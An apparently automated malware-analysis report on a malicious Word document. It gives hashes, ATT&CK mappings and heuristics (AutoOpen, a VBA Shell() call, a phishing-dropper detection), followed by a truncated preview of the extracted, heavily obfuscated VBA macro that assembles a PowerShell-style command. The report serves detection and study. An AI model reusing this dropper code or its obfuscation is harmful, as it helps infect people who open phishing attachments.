Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ed2e4fe71b89096…

MALICIOUS

Office (OLE)

251.0 KB Created: 2017-12-29 17:53:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 801dfcf0e2a0f1306dbe2c768329c96a SHA-1: 9ef757e400bc276baaada3b10bbbf5c4aef6c506 SHA-256: 1ed2e4fe71b89096154ac5f9669da2b6f19fe1b2f68176d7fed3993c729b6229
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. A critical heuristic firing indicates the presence of a Shell() call within the VBA code, which is often used to download and execute further stages. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure, likely delivered as an attachment.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84328 bytes
SHA-256: 683be935878034105035c0464520371d8531f6e9b326ec65dfdf274f0c2ed096
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NAKLYvzHARDD"
Function JcmYvXROmzcoR()
On Error Resume Next
zCshoSYLBjw = (wKkMrfSYMfu - Rnd(43 * Tan(UprFLKjG)) / MOkKchhMjoidO * Oct(whLFYFzhfW) * VQnIPfUw / Oct(jvzBPzkMcqPfF - Chr(250) + 581 - ChrB(vYAFLAqijN)) - 389 + GRuDTJKjZkAhJp)
qhPMiQUwIcu = (zPKjcYuzoTz - Rnd(43 * Tan(KVcbNbTrDOHXC)) / RUvJALdkKz * Oct(hkDkmrKTiwXKi) * KFwWiHniIGZBf / Oct(nMaLijjqQ - Chr(250) + 581 - ChrB(RXzDXVuK)) - 389 + UqFfNbpED)
vzYziUvwTKY = (UJsmFCmYp) + Mid("76VSUiU2wimaCe  ([CHARBHSzs05inwq", 12, 11)
nvfNaV = (VkFpGhQvrkP - Rnd(43 * Tan(IwwEMmDIjq)) / IjFwjlvr * Oct(PlfFZuGQqVCSE) * BjbfnuGjuicz / Oct(BijKwtZJ - Chr(250) + 581 - ChrB(QtfRfmSKnp)) - 389 + wDPFFHw)
EuNrkW = (XzUQhirUG - Rnd(43 * Tan(NQuZwtiiV)) / UqujiWziCrG * Oct(YpAGECYkzO) * AZTaAwLdNYaw / Oct(FlhKlMROIsrF - Chr(250) + 581 - ChrB(pobKkcFEuJ)) - 389 + wwirOtwws)
oRqLPQzjii = (aiTiAVOTOjr - Rnd(43 * Tan(sMzTiEowpajQ)) / CjaELzhQZ * Oct(ZvXFlhQUHJ) * jZHOcGRcpAwDS / Oct(poPDjJWTrYXHzC - Chr(250) + 581 - ChrB(ZGYGYTGTp)) - 389 + tPnkUasEHwtA)
YCsdXdlUSzA = (jrAdclFiGLGZ) + Mid("L8irAuMVo9qLn'+'dom;hK7KY+7KYMb7KY+7KYcd 7KY+7KY= SjWSr9qkjV8qpIMLdNuff1pZPTuDR", 13, 41)
bKYrKm = (BTVNzlwXr - Rnd(43 * Tan(cVbGWCDnzrcK)) / SOoiaAPwsMG * Oct(VFwlrJhDdmbVb) * LpIBBqqrCz / Oct(GVWbkjIV - Chr(250) + 581 - ChrB(AwHCFivHw)) - 389 + mSDFpZnrLQz)
cnIZVFnDzi = (UMKvppKZsU - Rnd(43 * Tan(hPULfKJzo)) / AAwfZwBBqDsNZ * Oct(XwrWkhOfnpbE) * LbiuUNiULMP / Oct(rIXCRXTpl - Chr(250) + 581 - ChrB(iTnMGZVMIEUXq)) - 389 + MIXzqOLkbG)
TwkmJlPP = (UOiGvTuj - Rnd(43 * Tan(VMrDQhBwswFVWt)) / aUulfFdS * Oct(ulaqhwsVO) * hjjhXcawKXvn / Oct(VYfaYJDostZIiH - Chr(250) + 581 - ChrB(PvDjHmLa)) - 389 + nXIFITvXHoESB)
bvRfAO = (DwblnKbtCTA) + Mid("kHhC2btCiG]48+[CHAR]98+[CHAR]108),[CHAR]36) )0uflwkziUnjSr", 11, 35)
BAZNMUYZDn = (ZqcWSHOpXtKHHG - Rnd(43 * Tan(wzDLvTSw)) / IzTwXcwshThis * Oct(qzGiSjBBQtjPL) * QKZGrmNSnPRu / Oct(SZoZaFJMNolzSp - Chr(250) + 581 - ChrB(jaRIQQbW)) - 389 + arGdXJqRYlibb)
wmazD = (aUqqEVOjsS - Rnd(43 * Tan(BQcTAUwW)) / UqbFsqWLnO * Oct(OADnmkukSdiiKc) * JqdMXKaHCktk / Oct(OzCsiTtAMpjQZL - Chr(250) + 581 - ChrB(umIQdHh)) - 389 + hbqonsBDszw)
lwMtm = (jMzJdiq - Rnd(43 * Tan(vwjzfoD)) / UahGfHGLwOvZAE * Oct(SJXozsIuG) * YjVWKWjwXUjrq / Oct(bFlKPjRDqfR - Chr(250) + 581 - ChrB(IAGFLfaOHblpn)) - 389 + OackmaSwMsGzf)
AmwKCh = (FJCVCWoHZz) + Mid("o'Y+7KY), hKMhuasc8s+c8s7KY+7KY);Invok7KY+7KYe-Ite7KY+7KYm7'+'KY+7KY(7KYc8s+c8s+7KYhKMXijUoARww", 2, 85)
DvYJWawUj = (TaqErikwAz - Rnd(43 * Tan(wwWMQbcHqjSVRn)) / GILmnQcokUw * Oct(ZvWkfkf) * qRflbQsGpAFYQ / Oct(bblOJfVJ - Chr(250) + 581 - ChrB(sUXDMTwnkmwo)) - 389 + dZLXYWzkPXoMT)
LtbXZ = (EUKfjkaYCpjSN - Rnd(43 * Tan(GRAbIETbnlk)) / GpizaPImJvuzw * Oct(oiIlapHQwUd) * fiUdhYu / Oct(dltDOUJbTKXBcj - Chr(250) + 581 - ChrB(pSBLuiqqK)) - 389 + VkaRjNVEFw)
Gpznbzui = (UmTYmwLDm - Rnd(43 * Tan(zKBdwjqs)) / zVJmaHJqIH * Oct(sjFWukUo) * znOosWWiJUUW / Oct(OvrKAtQdHDvbO - Chr(250) + 581 - ChrB(EiiMPCLbK)) - 389 + UtElijnn)
MzlmtqUi = (wRazVjfmRDMjmt) + Mid("oYRpKY+7KYte-ho7KY+7c8s'+'+c8sKYst 7KY+7KYhK7KY+7KYM_.Ex7KY+7KYception.Me'+'ss'+'7KY+7KYag7KY+7KYec8s+c8s;}}7c8s'+'+djooOiUTz77Di", 5, 112)
MUJwBPBF = (kFWFffw - Rnd(43 * Tan(wccwSiKfNALnv)) / itkiJnzCzXiN * Oct(NiFOCuD) * sslImViHD / Oct(KHAWdVwWIquiFQ - Chr(250) + 581 - ChrB(ZzAIlIt)) - 389 + WpAwaXSOutdXF)
qaIUbrAAmF = (wCARSdwUcizF - Rnd(43 * Tan(FITvtzqOSbrzwU)) / ObQzqqGN * Oct(iWSvjhBnCwrSs) * AMCWfaJTVIr / Oct(ARAPHwua - Chr(250) + 581 - ChrB(XhvikZDu)) - 389 + doVwPlnTaniOAJ)
QCoXMlizt = (OnVDNXhzS - Rnd(43 * Tan(RPijdWWwqbAl)) / swVGzYTbHfD * Oct(NdWKuhvbrGq) * KYMvhvlScL / Oct(FsRiazJJkbF - Chr(250) + 581 - ChrB(tzovuEJjl)) - 389 + vwbMXtMt)
znkKOpX = (qBjRjlM) + Mid("q8jcRUwMMKY3Cr'+'7KY)) c8s)-crEPlAcE([cHaR]51+[cHaR]67+[cHaR]114),[cHa'+'R]92  -crEPlAcEc8s6zDc8s,[c
... (truncated)

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